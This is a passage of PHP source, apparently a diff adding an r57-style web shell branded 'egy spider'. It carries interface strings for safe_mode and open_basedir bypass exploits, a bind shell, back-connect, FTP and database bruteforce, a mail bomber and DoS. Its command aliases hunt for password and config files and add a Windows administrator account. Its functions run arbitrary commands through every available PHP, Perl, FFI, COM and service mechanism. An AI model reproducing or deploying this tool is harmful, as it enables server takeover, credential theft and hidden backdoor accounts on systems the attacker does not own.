imap_body() (PHP <= 5.1.2)', +'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', +'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', +'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)', +'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', +'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', +'eng_text125'=>'Data', +'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', +'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', +'eng_text128'=>'Modify/Access file (touch)', +'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', +'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'eng_'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', +'eng_text134'=>'Database-bruteforce', +'eng_text135'=>'Dictionary', +'eng_text136'=>'Creating evil symlink', +'eng_text137'=>'Useful', +'eng_text138'=>'Dangerous', +'eng_text139'=>'Mail Bomber', +'eng_text140'=>'DoS', +'eng_text141'=>'Danger! Web-daemon crash possible.', +'eng_text142'=>'Downloaders', +'eng_text143'=>'Temp: ', +'eng_text144'=>'Test bypass safe_mode with load file in mysqli', +'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)', +'eng_text146'=>'Max Interation', +'eng_text147'=>'', +'eng_text148'=>'', +'eng_text149'=>'', +'eng_text150'=>'', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_butt65'=>'Create', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', +'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', +'eng_text200'=>'read file from vul copy()', +'eng_text500'=>'read file from id()', +'eng_text555'=>'read file from imap()', +'eng_text202'=>'where file in server', +'eng_text300'=>'read file from vul curl()', +'eng_text203'=>'read file from vul ini_restore()', +'eng_text204'=>'write shell from vul error_log()', +'eng_text205'=>'write shell in this side', +'eng_text206'=>'read dir', +'eng_text207'=>'read dir from vul reg_glob', +'eng_text208'=>'execute with function', +'eng_text209'=>'read dir from vul root', +'eng_text210'=>'DeZender ', +'eng_text211'=>'::safe_mode off::', +'eng_text212'=>'colse safe_mode with php.ini', +'eng_text213'=>'colse security_mod with .htaccess', +'eng_text214'=>'Admin name', +'eng_text215'=>'IRC server ', +'eng_text216'=>'#room name', +'eng_text217'=>'server', +'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul', +'eng_text225'=>'MySQL Safe Mode Bypass 4.4.7 / 5.2.3 PHP ', +'eng_text226'=>'Safe Mode Bpass Root Directory: ', +'eng_text227'=>'Safe_Mode Bypass 4.4.2/5.1.2: ', +'eng_text228'=>'tools for hacker vb ', +'eng_text230'=>'know pass of cpanel ', +'eng_text219'=>'Get file to server in safe_mode and change name', +'eng_text220'=>'show file with symlink vul', +'eng_text221'=>'zip file in server to download', +'eng_text222'=>'2 symlink use vul', +'eng_text223'=>'read file from funcution', +'eng_text224'=>'read file from PLUGIN ', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_butt3' =>'Bind', +'eng_butt4' =>'Connect', +'eng_butt5' =>'Run', +'eng_butt6' =>'Change', +'eng_butt7' =>'Show', +'eng_butt8' =>'Test', +'eng_butt9' =>'Dump', +'eng_butt10'=>'Save', +'eng_butt11'=>'Edit file', +'eng_butt12'=>'Find', +'eng_butt13'=>'Create/Delete', +'eng_butt14'=>'Download', +'eng_butt15'=>'Send', +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_text30'=>'Cat file', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without arch.', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'/etc/passwd', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu)', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)', +'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', +'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', +'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)', +'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', +'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)', +'eng_text125'=>'Data', +'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', +'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)', +'eng_text128'=>'Modify/Access file (touch)', +'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)', +'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', +'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', +'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', +'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)', +'eng_text134'=>'Database-bruteforce', +'eng_text135'=>'Dictionary', +'eng_text136'=>'Creating evil symlink', +'eng_text137'=>'Useful', +'eng_text138'=>'Dangerous', +'eng_text139'=>'Mail Bomber', +'eng_text140'=>'DoS', +'eng_text141'=>'Danger! Web-daemon crash possible.', +'eng_text142'=>'Downloaders', +'eng_text143'=>'Temp: ', +'eng_text144'=>'Test bypass safe_mode with load file in mysqli', +'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)', +'eng_text146'=>'Max Interation', +'eng_text151'=>'Test bypass safe_mode with chdir()and ftok() (PHP <= 5.2.6)', +'eng_text161'=>'Test bypass safe_mode with posix_access() (posix ext) (PHP <= 5.2.6)', +'eng_text162'=>'ionCube extension safe_mode and disable_functions protections bypass (PHP <= 5.2.4)', +'eng_text163'=>'PHP Perl Extension Safe_mode Bypass Exploit', +'eng_text170'=>' Test bypass safe_mode and Open_basedir Settings by Posix_getpw (PHP <= 4.2.0)', +'eng_text171'=>' PHP (Win32std) Extension safe_mode/disable_functions Protections Bypass (PHP <= 5.2.3)', +'eng_text147'=>'', +'eng_text148'=>'', +'eng_text149'=>'', +'eng_text150'=>'', +'eng_text159'=>'About egy spider', +'eng_text152'=>'Latest News', +'eng_text153'=>'Logout ', +'eng_text154'=>'Quick index ', +'eng_text155'=>'Mass Code Injection ', +'eng_text156'=>'File source ', +'eng_text157'=>'Registration in Zone-h ', +'eng_text158'=>'Hash Tools ', +'eng_text160'=>'Home Shell ', +'eng_text180'=>'Send Your Comments And Contacted Me ', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', + +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'----------------------------------locate'=>'', +'find httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate httpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate proftpd.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate psybnc.conf'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate my.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate admin.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate cfg.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate conf.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate config.dat files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate config.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate config.inc files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate config.inc.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate config.default.php files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .pwd files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .sql files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .htpasswd files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .bash_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate .mysql_history files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate backup files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate dump files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate priv files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'locate vhosts.conf files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'________________find orders ______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'cat /var/cpanel/accounting.log'=>'cat /var/cpanel/accounting.log', +'find all site of server and user'=>'ls -la /etc/valiases', +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'________________var orders var______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ error_log files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ access.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ error.log files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'find /var/ &quot;*.log&quot; files'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'________________for server windows ______________-'=>'/tmp/grep.txt;cat /tmp/grep.txt', +'1_learn the management server'=>'net user', +'2_add new user'=>'net user egy_spider 123456 /add', +'3_add your user for admin group (this order after add order 1&2'=>'net localgroup administrators egy_spider /add', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Webdings color=gray>4</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; } +if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];} +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = @php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $unix = 0; } + else { $unix = 1; } + } + } + +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= (!$unix)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; + die(); + } + +/*if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }*/ +if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;} +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } + +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} + +function ex($cfe) +{global $unix,$tempdir; + $res = ''; + if (!empty($cfe)) + { + if(@function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(@function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(@function_exists('system')) + { + @ob_start(); + @system('$cfe'); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + if(@function_exists('fread') && @function_exists('feof')){ + while(!@feof($f)) { $res .= @fread($f,1024); } + }else if(@function_exists('fgets') && @function_exists('feof')){ + while(!@feof($f)) { $res .= @fgets($f,1024); } + } + @pclose($f); + } + elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes))) + { + $res = ""; + if(@function_exists('fread') && @function_exists('feof')){ + while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);} + }else if(@function_exists('fgets') && @function_exists('feof')){ + while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);} + } + @proc_close($f); + } + }else{$res = safe_ex($cfe);} + return htmlspecialchars($res); +} + + +function safe_ex($cfe) +{global $unix,$tempdir; + $res = ''; + if (!empty($cfe)) + { + if(extension_loaded('perl')){ + @ob_start(); + $safeperl=new perl(); + $safeperl->eval("system('$cfe')"); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(!$unix && extension_loaded('ffi')) + { + $output=$tempdir.uniqid('NJ'); + $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); + if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);} + else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);} + while(!@file_exists($output))sleep(1); + $res=moreread($output); + @unlink($output); + } + elseif(!$unix && extension_loaded('win32service')) + { + $output=$tempdir.uniqid('NJ'); + $n_ser=uniqid('NJ'); + if(!@function_exists('escapeshellarg')) + {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));} + else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));} + @win32_start_service($n_ser); + @win32_stop_service($n_ser); + @win32_delete_service($n_ser); + while(!@file_exists($output))sleep(1); + $res=moreread($output); + @unlink($output); + } + elseif(!$unix && extension_loaded("win32std")) + { + $output=$tempdir.uniqid('NJ'); + if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');} + else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');} + while(!@file_exists($output))sleep(1); + $res=moreread($output); + @unlink($output); + } + elseif(!$unix) + { + $output=$tempdir.uniqid('NJ'); + $suntzu = new COM("WScript.Shell"); + if(!@function_exists('escapeshellarg')){$suntzu->Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');} + else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');} + $res=moreread($output); + @unlink($output); + } + elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork')) + { + $res = '[~] Blind Command Execution via [pcntl_exec]\n\n'; + $output=$tempdir.uniqid('pcntl'); + $pid = @pcntl_fork(); + if ($pid == -1) { + $res .= '[-] Could not children fork. Exit'; + } else if ($pid) { + if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';} + else {$res .= '[-] Error. Command incorrect.';} + } else { + $cfe = array(" -e 'system(\"$cfe > $output\")'"); + if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0); + if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0); + die(); + } + $res=moreread($output); + @unlink($output); + } +/* elseif(1) + { + + } +*/ + } + return htmlspecialchars($res); +} + +function get_users($filename) +{ + $users = $rows = array(); + $rows=@explode("\n",moreread($filename)); + if(!$rows[0]){$rows=@explode("\n",readzlib($filename));} + if(!$rows[0]) return 0; + foreach ($rows as $string) + { + $user = @explode(":",trim($string)); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +} +function perms($mode) +{ +if (!$GLOBALS['unix']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else 